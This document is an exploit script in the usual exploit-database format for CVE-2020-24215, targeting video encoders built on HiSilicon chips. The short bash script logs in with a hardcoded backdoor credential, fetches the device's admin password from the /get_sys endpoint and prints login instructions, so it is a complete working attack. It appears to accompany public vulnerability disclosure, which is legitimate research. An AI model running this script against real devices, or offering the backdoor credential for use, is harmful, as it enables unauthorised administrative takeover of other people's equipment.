HiSilicon Video Encoders - Full admin access via backdoor password

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - full admin access via backdoor password
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24215
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 1 ]
then
  echo "Usage: $0 <server>[:<port>]"
  exit 1
fi

printf "retrieving the password... "
password=$(curl -s --user admin:neworange88888888 http://$1/get_sys | \
           grep -oP '(?<=<html_password>).*?(?=</html_password>)')
ret=$?
           
if [ "$ret" -eq 0 ]
then
  echo "the password is '$password'"
  echo "navigate to http://$1 and log into the admin interface with user 'admin' and password '$password'"
else
  echo "ERROR: curl returned $ret"
fi